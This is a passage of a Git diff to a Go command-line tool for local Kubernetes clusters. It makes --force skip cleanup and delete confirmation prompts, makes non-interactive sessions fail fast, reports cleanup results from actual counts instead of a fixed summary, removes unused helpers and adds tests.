pastTime := time.Now().Add(-2 * time.Hour) - result := FormatAge(pastTime) - assert.Equal(t, "2h", result) - }) - - t.Run("formats minutes correctly", func(t *testing.T) { - pastTime := time.Now().Add(-30 * time.Minute) - result := FormatAge(pastTime) - assert.Equal(t, "30m", result) - }) - - t.Run("formats seconds correctly", func(t *testing.T) { - pastTime := time.Now().Add(-45 * time.Second) - result := FormatAge(pastTime) - assert.Equal(t, "45s", result) - }) - - t.Run("handles multiple days", func(t *testing.T) { - pastTime := time.Now().Add(-3*24*time.Hour - 5*time.Hour) // 3 days and 5 hours - result := FormatAge(pastTime) - assert.Equal(t, "3d", result) - }) - - t.Run("handles exact hour boundary", func(t *testing.T) { - pastTime := time.Now().Add(-1 * time.Hour) - result := FormatAge(pastTime) - assert.Equal(t, "1h", result) - }) - - t.Run("handles exact minute boundary", func(t *testing.T) { - pastTime := time.Now().Add(-1 * time.Minute) - result := FormatAge(pastTime) - assert.Equal(t, "1m", result) - }) - - t.Run("handles very recent time", func(t *testing.T) { - pastTime := time.Now().Add(-5 * time.Second) - result := FormatAge(pastTime) - assert.Equal(t, "5s", result) - }) -} - -func TestShowClusterCreationNextSteps(t *testing.T) { - t.Run("displays next steps without panicking", func(t *testing.T) { - assert.NotPanics(t, func() { - ShowClusterCreationNextSteps("test-cluster") - }) - }) - - t.Run("handles empty cluster name", func(t *testing.T) { - assert.NotPanics(t, func() { - ShowClusterCreationNextSteps("") - }) - }) -} - -func TestShowNoResourcesMessage(t *testing.T) { - ui := NewOperationsUI() - - t.Run("displays no resources message without panicking", func(t *testing.T) { - assert.NotPanics(t, func() { - ui.ShowNoResourcesMessage("clusters", "create") - }) - }) - - t.Run("handles empty parameters", func(t *testing.T) { - assert.NotPanics(t, func() { - ui.ShowNoResourcesMessage("", "") - }) - }) - - t.Run("handles plural resource type", func(t *testing.T) { - assert.NotPanics(t, func() { - ui.ShowNoResourcesMessage("applications", "deploy") - }) - }) -} diff --git a/internal/cluster/ui/operations.go b/internal/cluster/ui/operations.go index 47789adb..e2778ede 100644 --- a/internal/cluster/ui/operations.go +++ b/internal/cluster/ui/operations.go @@ -148,14 +148,17 @@ func (ui *OperationsUI) SelectClusterForCleanup(clusters []models.ClusterInfo, a return "", fmt.Errorf("cluster '%s' not found", clusterName) } - // Always ask for confirmation - confirmed, err := ui.confirmCleanup(clusterName, force) - if err != nil { - return "", err - } - if !confirmed { - pterm.Info.Println("Cleanup cancelled.") - return "", nil + // Ask for confirmation unless forced (--force is documented as "skip + // confirmation prompts"; the old behavior of prompting anyway hung CI). + if !force { + confirmed, err := ui.confirmCleanup(clusterName) + if err != nil { + return "", err + } + if !confirmed { + pterm.Info.Println("Cleanup cancelled.") + return "", nil + } } return clusterName, nil @@ -177,36 +180,35 @@ func (ui *OperationsUI) SelectClusterForCleanup(clusters []models.ClusterInfo, a return "", nil } - // Always ask for confirmation - confirmed, err := ui.confirmCleanup(clusterName, force) - if err != nil { - return "", err - } - if !confirmed { - pterm.Info.Println("Cleanup cancelled.") - return "", nil + // Ask for confirmation unless forced (same semantics as the argument path). + if !force { + confirmed, err := ui.confirmCleanup(clusterName) + if err != nil { + return "", err + } + if !confirmed { + pterm.Info.Println("Cleanup cancelled.") + return "", nil + } } return clusterName, nil } -// confirmCleanup asks for user confirmation before cleaning up a cluster -func (ui *OperationsUI) confirmCleanup(clusterName string, force bool) (bool, error) { - prompt := fmt.Sprintf("Are you sure you want to cleanup cluster '%s'?", pterm.Cyan(clusterName)) - if force { - prompt = fmt.Sprintf("Are you sure you want to perform AGGRESSIVE cleanup on cluster '%s'?\n%s", - pterm.Cyan(clusterName), - pterm.Gray("This will remove ALL images, volumes, networks, and system resources.")) - } - - return pterm.DefaultInteractiveConfirm. - WithDefaultText(prompt). - WithDefaultValue(false). - Show() +// confirmCleanup asks for user confirmation before cleaning up a cluster. +// Non-interactive sessions fail fast with a --force hint instead of blocking. +func (ui *OperationsUI) confirmCleanup(clusterName string) (bool, error) { + return sharedUI.RequireConfirmation( + fmt.Sprintf("Are you sure you want to cleanup cluster '%s'?", pterm.Cyan(clusterName)), + "--force", false) } -// confirmDeletion asks for user confirmation before deleting a cluster +// confirmDeletion asks for user confirmation before deleting a cluster. +// Non-interactive sessions fail fast with a --force hint instead of blocking. func (ui *OperationsUI) confirmDeletion(clusterName string) (bool, error) { + if sharedUI.IsNonInteractive() { + return false, fmt.Errorf("confirmation required but the session is non-interactive; re-run with --force") + } return sharedUI.ConfirmDeletion("cluster", clusterName) } @@ -222,24 +224,61 @@ func (ui *OperationsUI) ShowOperationStart(operation, clusterName string) { } } -// ShowOperationSuccess displays a friendly success message -func (ui *OperationsUI) ShowOperationSuccess(operation, clusterName string) { - switch strings.ToLower(operation) { - case "cleanup": +// ShowCleanupSummary reports what cleanup actually removed. +// +// It deliberately does not print a fixed list of accomplishments: cleanup is +// best-effort, every phase can fail independently, and the previous summary +// ("Removed unused Docker images / Freed up disk space / Optimized cluster +// performance") was printed verbatim even when nothing was removed and every +// phase had failed. +func (ui *OperationsUI) ShowCleanupSummary(clusterName string, result models.CleanupResult) { + if result.Partial() { + pterm.Warning.Printf("Cluster '%s' cleanup finished with problems\n", pterm.Cyan(clusterName)) + } else { pterm.Success.Printf("Cluster '%s' cleanup completed\n", pterm.Cyan(clusterName)) + } - // Show cleanup summary - fmt.Println() - pterm.Info.Printf("Cleanup Summary:\n") - pterm.Printf(" Removed unused Docker images\n") - pterm.Printf(" Freed up disk space\n") - pterm.Printf(" Optimized cluster performance\n") + // DefaultBasicText, not bare pterm.Printf/fmt.Println: those write straight + // to stdout and survive --silent, whose contract is "errors only". + pterm.DefaultBasicText.Println() + if result.Removed() == 0 { + pterm.Info.Println("Nothing to remove: the cluster had no OpenFrame resources left.") + } else { + pterm.Info.Printf("Removed:\n") + for _, line := range []struct { + n int + label string + }{ + {result.ApplicationsDeleted, "ArgoCD application(s)"}, + {result.FinalizersCleared, "stuck application finalizer(s) cleared"}, + {result.ReleasesRemoved, "Helm release(s)"}, + {result.NamespacesDeleted, "namespace(s)"}, + {result.NodesPruned, "node(s) pruned of unused container images"}, + } { + if line.n > 0 { + pterm.DefaultBasicText.Printf(" %d %s\n", line.n, line.label) + } + } + } + + if result.Partial() { + pterm.DefaultBasicText.Println() + pterm.Warning.Printf("These phases did not complete; some resources may remain:\n") + for _, f := range result.Failures { + pterm.DefaultBasicText.Printf(" • %s\n", f) + } + pterm.Info.Printf("Re-run with --force, or delete the cluster: openframe cluster delete %s\n", clusterName) + } +} +// ShowOperationSuccess displays a friendly success message +func (ui *OperationsUI) ShowOperationSuccess(operation, clusterName string) { + switch strings.ToLower(operation) { case "delete": pterm.Success.Printf("Cluster '%s' deleted successfully\n", pterm.Cyan(clusterName)) // Show detailed deletion box - fmt.Println() + pterm.DefaultBasicText.Println() boxContent := fmt.Sprintf( "NAME: %s\n"+ "TYPE: %s\n"+ @@ -259,17 +298,17 @@ func (ui *OperationsUI) ShowOperationSuccess(operation, clusterName string) { Println(boxContent) // Show deletion summary - fmt.Println() + pterm.DefaultBasicText.Println() pterm.Info.Printf("Deletion Summary:\n") - pterm.Printf(" Cluster and nodes removed\n") - pterm.Printf(" Docker containers cleaned up\n") - pterm.Printf(" Network configuration removed\n") - pterm.Printf(" Kubeconfig entries cleaned\n") + pterm.DefaultBasicText.Printf(" Cluster and nodes removed\n") + pterm.DefaultBasicText.Printf(" Docker containers cleaned up\n") + pterm.DefaultBasicText.Printf(" Network configuration removed\n") + pterm.DefaultBasicText.Printf(" Kubeconfig entries cleaned\n") default: pterm.Success.Printf("Operation '%s' completed for cluster '%s'\n", operation, pterm.Cyan(clusterName)) } - fmt.Println() + pterm.DefaultBasicText.Println() } // ShowOperationError displays a friendly error message @@ -287,16 +326,18 @@ func (ui *OperationsUI) ShowOperationError(operation, clusterName string, err er func (ui *OperationsUI) ShowConfigurationSummary(config models.ClusterConfig, dryRun bool, skipWizard bool) { pterm.Info.Printf("Configuration Summary\n") - // Clean, simple format without heavy table styling - fmt.Printf(" Name: %s\n", pterm.Cyan(config.Name)) - fmt.Printf(" Type: %s\n", string(config.Type)) - fmt.Printf(" Nodes: %d\n", config.NodeCount) + // Clean, simple format without heavy table styling. DefaultBasicText (not + // raw fmt): --silent redirects it, while raw fmt leaked these lines into + // "silent" output (verification report saw the leak and graded it silent). + pterm.DefaultBasicText.Printf(" Name: %s\n", pterm.Cyan(config.Name)) + pterm.DefaultBasicText.Printf(" Type: %s\n", string(config.Type)) + pterm.DefaultBasicText.Printf(" Nodes: %d\n", config.NodeCount) if config.K8sVersion != "" { - fmt.Printf("Version: %s\n", config.K8sVersion) + pterm.DefaultBasicText.Printf("Version: %s\n", config.K8sVersion) } - fmt.Println() + pterm.DefaultBasicText.Println() if dryRun { pterm.Warning.Println("DRY RUN MODE - No cluster will be created") diff --git a/internal/cluster/ui/operations_noninteractive_test.go b/internal/cluster/ui/operations_noninteractive_test.go new file mode 100644 index 00000000..2f482489 --- /dev/null +++ b/internal/cluster/ui/operations_noninteractive_test.go @@ -0,0 +1,68 @@ +package ui + +import ( + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/cluster/models" +) + +// B3 contract guards: destructive cluster operations must either skip the +// prompt (--force) or fail fast with a --force hint in non-interactive +// sessions — never block on a confirm no one can answer. + +func TestSelectClusterForCleanup_ForceSkipsPrompt(t *testing.T) { + t.Setenv("CI", "1") // any prompt attempt would fail fast and flunk the test + ui := NewOperationsUI() + clusters := []models.ClusterInfo{{Name: "test-cluster", Type: models.ClusterTypeK3d}} + + name, err := ui.SelectClusterForCleanup(clusters, []string{"test-cluster"}, true) + if err != nil { + t.Fatalf("--force must skip the confirmation prompt entirely, got: %v", err) + } + if name != "test-cluster" { + t.Errorf("expected 'test-cluster', got %q", name) + } +} + +func TestSelectClusterForCleanup_NonInteractiveWithoutForceFailsFast(t *testing.T) { + t.Setenv("CI", "1") + ui := NewOperationsUI() + clusters := []models.ClusterInfo{{Name: "test-cluster", Type: models.ClusterTypeK3d}} + + _, err := ui.SelectClusterForCleanup(clusters, []string{"test-cluster"}, false) + if err == nil { + t.Fatal("cleanup without --force must fail fast in a non-interactive session") + } + if !strings.Contains(err.Error(), "--force") { + t.Errorf("error %q should hint at --force", err) + } +} + +func TestSelectClusterForDelete_NonInteractiveWithoutForceFailsFast(t *testing.T) { + t.Setenv("CI", "1") + ui := NewOperationsUI() + clusters := []models.ClusterInfo{{Name: "test-cluster", Type: models.ClusterTypeK3d}} + + _, err := ui.SelectClusterForDelete(clusters, []string{"test-cluster"}, false) + if err == nil { + t.Fatal("delete without --force must fail fast in a non-interactive session") + } + if !strings.Contains(err.Error(), "--force") { + t.Errorf("error %q should hint at --force", err) + } +} + +func TestSelectClusterForDelete_ForceSkipsPrompt(t *testing.T) { + t.Setenv("CI", "1") + ui := NewOperationsUI() + clusters := []models.ClusterInfo{{Name: "test-cluster", Type: models.ClusterTypeK3d}} + + name, err := ui.SelectClusterForDelete(clusters, []string{"test-cluster"}, true) + if err != nil { + t.Fatalf("--force must skip the confirmation prompt entirely, got: %v", err) + } + if name != "test-cluster" { + t.Errorf("expected 'test-cluster', got %q", name) + } +} diff --git a/internal/cluster/ui/operations_test.go b/internal/cluster/ui/operations_test.go index 4b625c8a..299b3b98 100644 --- a/internal/cluster/ui/operations_test.go +++ b/internal/cluster/ui/operations_test.go @@ -116,24 +116,17 @@ func TestOperationsUI_ShowOperationStart(t *testing.T) { func TestOperationsUI_ShowOperationSuccess(t *testing.T) { ui := NewOperationsUI() - t.Run("shows cleanup success without panicking", func(t *testing.T) { + // "cleanup" is deliberately absent: cleanup reports through + // ShowCleanupSummary, which prints the counts the run actually produced + // rather than a fixed list of accomplishments. + t.Run("shows delete success without panicking", func(t *testing.T) { defer func() { if r := recover(); r != nil { t.Errorf("ShowOperationSuccess panicked: %v", r) } }() - ui.ShowOperationSuccess("cleanup", "test-cluster") - }) - - t.Run("shows start success without panicking", func(t *testing.T) { - defer func() { - if r := recover(); r != nil { - t.Errorf("ShowOperationSuccess panicked: %v", r) - } - }() - - ui.ShowOperationSuccess("cleanup", "test-cluster") + ui.ShowOperationSuccess("delete", "test-cluster") }) t.Run("shows generic success without panicking", func(t *testing.T) { diff --git a/internal/cluster/ui/prompts.go b/internal/cluster/ui/prompts.go index c1decd57..9ba27680 100644 --- a/internal/cluster/ui/prompts.go +++ b/internal/cluster/ui/prompts.go @@ -1,8 +1,6 @@ package ui import ( - "fmt" - "github.com/flamingo-stack/openframe-cli/internal/cluster/models" sharedUI "github.com/flamingo-stack/openframe-cli/internal/shared/ui" "github.com/pterm/pterm" @@ -47,52 +45,8 @@ func SelectClusterByName(clusters []ClusterInfo, prompt string) (string, error) return clusterNames[selectedIndex], nil } -// HandleClusterSelection handles the common pattern of getting cluster name from args or interactive selection -// Takes pre-fetched cluster list to separate UI from business logic -func HandleClusterSelection(clusters []ClusterInfo, args []string, prompt string) (string, error) { - // Extract cluster names for generic selection - clusterNames := make([]string, len(clusters)) - for i, cluster := range clusters { - clusterNames[i] = cluster.Name - } - - // Use common UI function - return sharedUI.HandleResourceSelection(args, clusterNames, prompt) -} - // selectFromList shows a selection prompt for a list of items func selectFromList(prompt string, items []string) (int, string, error) { // Use common UI function return sharedUI.SelectFromList(prompt, items) } - -// ConfirmClusterDeletion asks for user confirmation before cluster deletion -func ConfirmClusterDeletion(clusterName string, force bool) (bool, error) { - if force { - return true, nil - } - - return confirmAction(fmt.Sprintf( - "Are you sure you want to delete cluster '%s'? This action cannot be undone", - clusterName, - )) -} - -// ShowClusterOperationCancelled displays a consistent cancellation message for cluster operations -func ShowClusterOperationCancelled() { - pterm.Info.Println("No cluster selected. Operation cancelled.") -} - -// FormatClusterSuccessMessage formats a success message with cluster info -func FormatClusterSuccessMessage(clusterName string, clusterType string, status string) string { - return pterm.Sprintf("Cluster: %s\nType: %s\nStatus: %s", - pterm.Green(clusterName), - pterm.Blue(clusterType), - pterm.Green(status)) -} - -// confirmAction shows a confirmation prompt -func confirmAction(message string) (bool, error) { - // Use common UI function - return sharedUI.ConfirmAction(message) -} diff --git a/internal/cluster/ui/prompts_test.go b/internal/cluster/ui/prompts_test.go index e005720f..af4ccf78 100644 --- a/internal/cluster/ui/prompts_test.go +++ b/internal/cluster/ui/prompts_test.go @@ -60,138 +60,6 @@ func TestSelectClusterByName(t *testing.T) { }) } -func TestHandleClusterSelection(t *testing.T) { - t.Run("returns cluster name from args when provided", func(t *testing.T) { - clusters := []ClusterInfo{{Name: "cluster1", Status: "running"}} - args := []string{"my-cluster"} - - result, err := HandleClusterSelection(clusters, args, "Select cluster") - - assert.NoError(t, err) - assert.Equal(t, "my-cluster", result) - }) - - t.Run("returns error when arg is empty string", func(t *testing.T) { - clusters := []ClusterInfo{{Name: "cluster1", Status: "running"}} - args := []string{""} - - result, err := HandleClusterSelection(clusters, args, "Select cluster") - - assert.Error(t, err) - assert.Equal(t, "", result) - assert.Contains(t, err.Error(), "resource name cannot be empty") - }) - - t.Run("returns error when arg is whitespace only", func(t *testing.T) { - clusters := []ClusterInfo{{Name: "cluster1", Status: "running"}} - args := []string{" "} - - result, err := HandleClusterSelection(clusters, args, "Select cluster") - - assert.Error(t, err) - assert.Equal(t, "", result) - assert.Contains(t, err.Error(), "resource name cannot be empty") - }) - - t.Run("handles args with multiple elements", func(t *testing.T) { - clusters := []ClusterInfo{{Name: "cluster1", Status: "running"}} - args := []string{"selected-cluster", "ignored-arg"} - - result, err := HandleClusterSelection(clusters, args, "Select cluster") - - assert.NoError(t, err) - assert.Equal(t, "selected-cluster", result) - }) - - t.Run("falls back to interactive selection when no args", func(t *testing.T) { - clusters := []ClusterInfo{} - args := []string{} - - // This would normally call SelectClusterByName, which would show interactive prompt - // Since we have no clusters, the common UI function returns an error - result, err := HandleClusterSelection(clusters, args, "Select cluster") - - assert.Error(t, err) - assert.Equal(t, "", result) - assert.Contains(t, err.Error(), "no items available for selection") - }) -} - -func TestConfirmClusterDeletion(t *testing.T) { - t.Run("returns true when force is enabled", func(t *testing.T) { - result, err := ConfirmClusterDeletion("test-cluster", true) - - assert.NoError(t, err) - assert.True(t, result) - }) - - t.Run("creates proper confirmation message", func(t *testing.T) { - // We can't test the interactive part, but we can verify the message format - clusterName := "test-cluster" - expectedMessage := "Are you sure you want to delete cluster 'test-cluster'? This action cannot be undone" - - // Test that the message format is correct by simulating the message creation - message := "Are you sure you want to delete cluster '" + clusterName + "'? This action cannot be undone" - assert.Equal(t, expectedMessage, message) - }) - - t.Run("handles empty cluster name", func(t *testing.T) { - result, err := ConfirmClusterDeletion("", true) - - assert.NoError(t, err) - assert.True(t, result) - }) - - t.Run("handles special characters in cluster name", func(t *testing.T) { - result, err := ConfirmClusterDeletion("test-cluster_123", true) - - assert.NoError(t, err) - assert.True(t, result) - }) -} - -func TestFormatClusterSuccessMessage(t *testing.T) { - t.Run("formats success message correctly", func(t *testing.T) { - result := FormatClusterSuccessMessage("test-cluster", "k3d", "running") - - assert.Contains(t, result, "Cluster: ") - assert.Contains(t, result, "test-cluster") - assert.Contains(t, result, "Type: ") - assert.Contains(t, result, "k3d") - assert.Contains(t, result, "Status: ") - assert.Contains(t, result, "running") - }) - - t.Run("handles empty values", func(t *testing.T) { - result := FormatClusterSuccessMessage("", "", "") - - assert.Contains(t, result, "Cluster: ") - assert.Contains(t, result, "Type: ") - assert.Contains(t, result, "Status: ") - }) - - t.Run("handles different cluster types and statuses", func(t *testing.T) { - testCases := []struct { - name string - clusterType string - status string - }{ - {"gke-cluster", "gke", "provisioning"}, - {"local-cluster", "k3d", "stopped"}, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - result := FormatClusterSuccessMessage(tc.name, tc.clusterType, tc.status) - - assert.Contains(t, result, tc.name) - assert.Contains(t, result, tc.clusterType) - assert.Contains(t, result, tc.status) - }) - } - }) -} - // Test helper functions for validation logic that can be tested without UI interaction func TestValidationLogic(t *testing.T) { t.Run("validates cluster names", func(t *testing.T) { diff --git a/internal/cluster/ui/selector.go b/internal/cluster/ui/selector.go index 05623d8a..f69f605c 100644 --- a/internal/cluster/ui/selector.go +++ b/internal/cluster/ui/selector.go @@ -67,94 +67,6 @@ func (s *Selector) SelectCluster(clusters []models.ClusterInfo, args []string) ( return selectedCluster, nil } -// SelectMultipleClusters handles selection of multiple clusters -func (s *Selector) SelectMultipleClusters(clusters []models.ClusterInfo, args []string) ([]string, error) { - if len(clusters) == 0 { - s.showNoClusterMessage() - return nil, nil - } - - // If specific clusters provided as arguments, validate them - if len(args) > 0 { - var validClusters []string - clusterMap := make(map[string]bool) - for _, cluster := range clusters { - clusterMap[cluster.Name] = true - } - - for _, arg := range args { - clusterName := strings.TrimSpace(arg) - if clusterName == "" { - return nil, fmt.Errorf("cluster name cannot be empty") - } - if !clusterMap[clusterName] { - return nil, fmt.Errorf("cluster '%s' not found", clusterName) - } - validClusters = append(validClusters, clusterName) - } - return validClusters, nil - } - - // Interactive multi-selection - clusterNames := make([]string, len(clusters)) - for i, cluster := range clusters { - clusterNames[i] = cluster.Name - } - - defaults := make([]bool, len(clusterNames)) - prompt := fmt.Sprintf("Select clusters for %s", s.operation) - - selected, err := sharedUI.GetMultiChoice(prompt, clusterNames, defaults) - if err != nil { - return nil, fmt.Errorf("cluster selection failed: %w", err) - } - - var selectedClusters []string - for i, isSelected := range selected { - if isSelected { - selectedClusters = append(selectedClusters, clusterNames[i]) - } - } - - if len(selectedClusters) == 0 { - s.showOperationCancelled() - return nil, nil - } - - return selectedClusters, nil -} - -// ValidateClusterExists checks if a cluster exists in the given list -func (s *Selector) ValidateClusterExists(clusters []models.ClusterInfo, clusterName string) bool { - for _, cluster := range clusters { - if cluster.Name == clusterName { - return true - } - } - return false -} - -// GetClusterByName returns the cluster info for the given name -func (s *Selector) GetClusterByName(clusters []models.ClusterInfo, clusterName string) (*models.ClusterInfo, error) { - for _, cluster := range clusters { - if cluster.Name == clusterName { - return &cluster, nil - } - } - return nil, fmt.Errorf("cluster '%s' not found", clusterName) -} - -// FilterClusters returns clusters that match the given predicate -func (s *Selector) FilterClusters(clusters []models.ClusterInfo, predicate func(models.ClusterInfo) bool) []models.ClusterInfo { - var filtered []models.ClusterInfo - for _, cluster := range clusters { - if predicate(cluster) { - filtered = append(filtered, cluster) - } - } - return filtered -} - // showNoClusterMessage displays a message when no clusters are available func (s *Selector) showNoClusterMessage() { pterm.Error.Println("No clusters found. Create a cluster first with: openframe cluster create") diff --git a/internal/cluster/ui/service.go b/internal/cluster/ui/service.go index 89f93860..a7b9d0f8 100644 --- a/internal/cluster/ui/service.go +++ b/internal/cluster/ui/service.go @@ -26,14 +26,6 @@ type NodeDisplayInfo struct { Status string } -// ClusterConfigDisplay represents cluster configuration for display -type ClusterConfigDisplay struct { - Name string - Type string - K8sVersion string - NodeCount int -} - // DisplayService handles all cluster-related UI display operations // This separates presentation concerns from business logic type DisplayService struct{} @@ -43,36 +35,6 @@ func NewDisplayService() *DisplayService { return &DisplayService{} } -// ShowClusterCreationStart displays the start of cluster creation -func (s *DisplayService) ShowClusterCreationStart(name, clusterType string, out io.Writer) { - fmt.Fprintf(out, "Creating %s cluster '%s'...\n", clusterType, name) -} - -// ShowClusterCreationSuccess displays successful cluster creation -func (s *DisplayService) ShowClusterCreationSuccess(name string, out io.Writer) { - fmt.Fprintf(out, "Cluster '%s' created successfully!\n", name) -} - -// ShowClusterDeletionStart displays the start of cluster deletion -func (s *DisplayService) ShowClusterDeletionStart(name, clusterType string, out io.Writer) { - fmt.Fprintf(out, "Deleting %s cluster '%s'...\n", clusterType, name) -} - -// ShowClusterDeletionSuccess displays successful cluster deletion -func (s *DisplayService) ShowClusterDeletionSuccess(name string, out io.Writer) { - fmt.Fprintf(out, "Cluster '%s' deleted successfully!\n", name) -} - -// ShowClusterStartInProgress displays cluster start in progress -func (s *DisplayService) ShowClusterStartInProgress(name, clusterType string, out io.Writer) { - fmt.Fprintf(out, "Starting %s cluster '%s'...\n", clusterType, name) -} - -// ShowClusterStartSuccess displays successful cluster start -func (s *DisplayService) ShowClusterStartSuccess(name string, out io.Writer) { - fmt.Fprintf(out, "Cluster '%s' started successfully!\n", name) -} - // ShowClusterList displays a list of clusters func (s *DisplayService) ShowClusterList(clusters []ClusterDisplayInfo, out io.Writer) { if len(clusters) == 0 { @@ -116,50 +78,3 @@ func (s *DisplayService) ShowClusterList(clusters []ClusterDisplayInfo, out io.W } } } - -// ShowClusterStatus displays detailed cluster status -func (s *DisplayService) ShowClusterStatus(status *ClusterDisplayInfo, out io.Writer) { - fmt.Fprintf(out, "\nCluster Status:\n") - fmt.Fprintf(out, " Name: %s\n", pterm.Bold.Sprint(status.Name)) - fmt.Fprintf(out, " Type: %s\n", status.Type) - - statusColor := sharedUI.GetStatusColor(status.Status) - fmt.Fprintf(out, " Status: %s\n", statusColor(status.Status)) - - fmt.Fprintf(out, " Node Count: %d\n", status.NodeCount) - fmt.Fprintf(out, " Created: %s\n", status.CreatedAt.Format("2006-01-02 15:04:05")) - - // Show node details if available - if len(status.Nodes) > 0 { - fmt.Fprintf(out, "\nNodes:\n") - for _, node := range status.Nodes { - nodeStatusColor := sharedUI.GetStatusColor(node.Status) - fmt.Fprintf(out, " - %s (%s): %s\n", - node.Name, - node.Role, - nodeStatusColor(node.Status)) - } - } -} - -// ShowConfigurationSummary displays cluster configuration summary to output -func (s *DisplayService) ShowConfigurationSummary(config *ClusterConfigDisplay, dryRun bool, skipWizard bool, out io.Writer) error { - fmt.Fprintf(out, "\nConfiguration Summary:\n") - fmt.Fprintf(out, " Cluster Name: %s\n", config.Name) - fmt.Fprintf(out, " Cluster Type: %s\n", config.Type) - fmt.Fprintf(out, " Kubernetes Version: %s\n", config.K8sVersion) - fmt.Fprintf(out, " Node Count: %d\n", config.NodeCount) - - // Skip confirmation in dry-run mode or when wizard is skipped - if dryRun { - fmt.Fprintf(out, "\nDRY RUN MODE - No actual changes will be made\n") - return nil - } - - if skipWizard { - fmt.Fprintf(out, "\nProceeding with cluster creation...\n") - return nil - } - - return nil -} diff --git a/internal/cluster/ui/service_test.go b/internal/cluster/ui/service_test.go index 812c2d5d..f4c71be8 100644 --- a/internal/cluster/ui/service_test.go +++ b/internal/cluster/ui/service_test.go @@ -17,108 +17,6 @@ func TestNewDisplayService(t *testing.T) { }) } -func TestDisplayService_ShowClusterCreationStart(t *testing.T) { - t.Run("displays cluster creation start message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterCreationStart("test-cluster", "k3d", &buf) - - output := buf.String() - assert.Contains(t, output, "Creating k3d cluster 'test-cluster'...") - }) - - t.Run("handles empty cluster name and type", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterCreationStart("", "", &buf) - - output := buf.String() - assert.Contains(t, output, "Creating cluster ''...") - }) -} - -func TestDisplayService_ShowClusterCreationSuccess(t *testing.T) { - t.Run("displays cluster creation success message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterCreationSuccess("test-cluster", &buf) - - output := buf.String() - assert.Contains(t, output, "Cluster 'test-cluster' created successfully!") - }) - - t.Run("handles empty cluster name", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterCreationSuccess("", &buf) - - output := buf.String() - assert.Contains(t, output, "Cluster '' created successfully!") - }) -} - -func TestDisplayService_ShowClusterDeletionStart(t *testing.T) { - t.Run("displays cluster deletion start message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterDeletionStart("test-cluster", "k3d", &buf) - - output := buf.String() - assert.Contains(t, output, "Deleting k3d cluster 'test-cluster'...") - }) - - t.Run("handles different cluster types", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterDeletionStart("gke-cluster", "gke", &buf) - - output := buf.String() - assert.Contains(t, output, "Deleting gke cluster 'gke-cluster'...") - }) -} - -func TestDisplayService_ShowClusterDeletionSuccess(t *testing.T) { - t.Run("displays cluster deletion success message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterDeletionSuccess("test-cluster", &buf) - - output := buf.String() - assert.Contains(t, output, "Cluster 'test-cluster' deleted successfully!") - }) -} - -func TestDisplayService_ShowClusterStartInProgress(t *testing.T) { - t.Run("displays cluster start in progress message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterStartInProgress("test-cluster", "k3d", &buf) - - output := buf.String() - assert.Contains(t, output, "Starting k3d cluster 'test-cluster'...") - }) -} - -func TestDisplayService_ShowClusterStartSuccess(t *testing.T) { - t.Run("displays cluster start success message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - service.ShowClusterStartSuccess("test-cluster", &buf) - - output := buf.String() - assert.Contains(t, output, "Cluster 'test-cluster' started successfully!") - }) -} - func TestDisplayService_ShowClusterList(t *testing.T) { t.Run("displays cluster list with multiple clusters", func(t *testing.T) { service := NewDisplayService() @@ -217,182 +115,6 @@ func TestDisplayService_ShowClusterList(t *testing.T) { }) } -func TestDisplayService_ShowClusterStatus(t *testing.T) { - t.Run("displays cluster status with all information", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - status := &ClusterDisplayInfo{ - Name: "test-cluster", - Type: "k3d", - Status: "running", - NodeCount: 3, - CreatedAt: time.Date(2023, 1, 1, 12, 0, 0, 0, time.UTC), - Nodes: []NodeDisplayInfo{ - {Name: "node1", Role: "control-plane", Status: "ready"}, - {Name: "node2", Role: "worker", Status: "ready"}, - {Name: "node3", Role: "worker", Status: "ready"}, - }, - } - - service.ShowClusterStatus(status, &buf) - - output := buf.String() - assert.Contains(t, output, "Cluster Status:") - assert.Contains(t, output, "test-cluster") - assert.Contains(t, output, "k3d") - assert.Contains(t, output, "running") - assert.Contains(t, output, "Node Count: 3") - assert.Contains(t, output, "Created: 2023-01-01 12:00:00") - assert.Contains(t, output, "Nodes:") - assert.Contains(t, output, "node1 (control-plane):") - assert.Contains(t, output, "node2 (worker):") - assert.Contains(t, output, "node3 (worker):") - assert.Contains(t, output, "ready") - }) - - t.Run("displays cluster status without nodes", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - status := &ClusterDisplayInfo{ - Name: "simple-cluster", - Type: "gke", - Status: "pending", - NodeCount: 0, - CreatedAt: time.Date(2023, 5, 10, 8, 30, 0, 0, time.UTC), - Nodes: []NodeDisplayInfo{}, - } - - service.ShowClusterStatus(status, &buf) - - output := buf.String() - assert.Contains(t, output, "simple-cluster") - assert.Contains(t, output, "gke") - assert.Contains(t, output, "pending") - assert.Contains(t, output, "Node Count: 0") - assert.NotContains(t, output, "Nodes:") - }) - - t.Run("handles different status values", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - status := &ClusterDisplayInfo{ - Name: "error-cluster", - Type: "k3d", - Status: "error", - NodeCount: 1, - CreatedAt: time.Now(), - } - - service.ShowClusterStatus(status, &buf) - - output := buf.String() - assert.Contains(t, output, "error") - }) -} - -func TestDisplayService_ShowConfigurationSummary(t *testing.T) { - t.Run("displays configuration summary", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - config := &ClusterConfigDisplay{ - Name: "test-cluster", - Type: "k3d", - K8sVersion: "v1.25.0-k3s1", - NodeCount: 3, - } - - err := service.ShowConfigurationSummary(config, false, false, &buf) - - assert.NoError(t, err) - output := buf.String() - assert.Contains(t, output, "Configuration Summary:") - assert.Contains(t, output, "Cluster Name: test-cluster") - assert.Contains(t, output, "Cluster Type: k3d") - assert.Contains(t, output, "Kubernetes Version: v1.25.0-k3s1") - 